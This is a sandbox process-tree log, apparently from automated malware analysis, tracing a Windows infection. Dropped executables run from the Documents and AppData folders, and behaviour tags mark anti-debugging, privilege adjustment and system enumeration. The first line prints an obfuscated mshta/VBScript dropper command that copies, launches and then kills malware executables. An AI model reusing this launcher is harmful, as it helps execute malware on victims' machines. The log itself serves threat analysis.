C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBScRipT: CLOSe ( CreATEoBjECT ("wscrIpt.SheLL" ). RUn ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\Documents\kpvCLQHJRGwz5tmbqxPLzw5O.exe"" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF """" == """" for %N In ( ""C:\Users\Admin\Documents\kpvCLQHJRGwz5tmbqxPLzw5O.exe"" ) do taskkill -F /Im ""%~nXN"" " , 0, True ) )3⤵PID:3728
-
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe"C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1372 -
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵
- Executes dropped EXE
PID:5560
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵
- Executes dropped EXE
PID:572
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵
- Executes dropped EXE
PID:2164
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵
- Executes dropped EXE
PID:4212
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵
- Executes dropped EXE
PID:5912
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵
- Executes dropped EXE
PID:1444
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:4264
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:5264
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:4772
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:6704
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6704 -s 284⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:2976
-
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:6280
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:6196
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:6908
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:7520
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7520 -s 284⤵
- Program crash
PID:6896
-
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:7740
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:7576
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵
- Loads dropped DLL
PID:3880
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:7748
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:7900
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:8792
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:8340
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:8500
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:9556
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:10176
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:7496
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:9124
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:9684
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:2148
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:9348
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:2944
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:1068
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:7028
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1012
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:6916
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:9236
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵
- Loads dropped DLL
PID:1200 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1200 -s 284⤵
- Program crash
PID:10448
-
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:6212
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:10604
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:11120
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:10584
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:10864
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10864 -s 284⤵
- Program crash
PID:9484
-
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:9692
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:6600
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:9316
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:5716
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:9688
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:11204
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 11204 -s 284⤵
- Program crash
PID:9552
-
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:7476
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:11256
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:10788
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:4420
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:4564
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:2096
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:6920
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:7840
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3424
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:5728
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:8940
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:8840
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:10748
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:10864
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10864 -s 284⤵
- Program crash
PID:5568
-
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:5664
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:10792
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:10044
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:9880
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:9100
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:9400
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:7024
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:8672
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:10992
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:1104
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:10264
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:8808
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:6764
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:9100
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:7484
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:6008
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:6356
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6356 -s 284⤵
- Program crash
PID:8608
-
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:5216
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵
- Suspicious use of AdjustPrivilegeToken
PID:8512
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:9412
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:5416
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:6912
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:9364
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:8004
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:6744
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:10536
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:1632
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:8148
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:9728
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:5292
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:8132
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8132 -s 284⤵
- Program crash
PID:6412
-
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:3340
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:11408
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:12040
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:11644
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:9168
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:12088
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:12916
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:12564
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:12964
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:2744
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:6364
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:10112
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:6516
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:9704
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:14104
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:13756
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:13628
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:13500
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:14324
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:14252
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:988
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:13924
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13924 -s 284⤵
- Program crash
PID:13920
-
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:13784
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:9788
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:5836
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:13048
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:13768
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:12324
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:6480
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:13876
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:7056
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:11724
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:11480
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:3720
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:11588
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:6252
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:10744
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:5952
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:13404
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:12800
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:2032
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 284⤵
- Program crash
PID:13744
-
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:11612
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:13572
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:12612
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:14984
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:15036
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 15036 -s 284⤵
- Program crash
PID:14784
-
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:9312
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:14564
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:10720
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:12200
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:7996
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:11296
-
-
C:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exeC:\Users\Admin\Documents\_WZoBLSntrreJ51SiufataCE.exe3⤵PID:3568
-
-
-
C:\Users\Admin\Documents\cTq8jvygV06UoB43Cp1aYi8K.exe"C:\Users\Admin\Documents\cTq8jvygV06UoB43Cp1aYi8K.exe"2⤵
- Executes dropped EXE
PID:1472
-
-
C:\Users\Admin\Documents\WrZKkiKKK_NHmENLCsmjnDUK.exe"C:\Users\Admin\Documents\WrZKkiKKK_NHmENLCsmjnDUK.exe"2⤵
- Executes dropped EXE
PID:1448
-
-
C:\Users\Admin\Documents\MEYAJjbdhFJZ9JvlPOvoJHY8.exe"C:\Users\Admin\Documents\MEYAJjbdhFJZ9JvlPOvoJHY8.exe"2⤵
- Executes dropped EXE
PID:1608 -
C:\Users\Admin\AppData\Roaming\6148561.exe"C:\Users\Admin\AppData\Roaming\6148561.exe"3⤵
- Executes dropped EXE
PID:1176
-
-
C:\Users\Admin\AppData\Roaming\1272143.exe"C:\Users\Admin\AppData\Roaming\1272143.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4412
-
-
C:\Users\Admin\AppData\Roaming\8216323.exe"C:\Users\Admin\AppData\Roaming\8216323.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5424
-
-
C:\Users\Admin\AppData\Roaming\3495894.exe"C:\Users\Admin\AppData\Roaming\3495894.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4872 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4872 -s 23604⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:8272
-
-
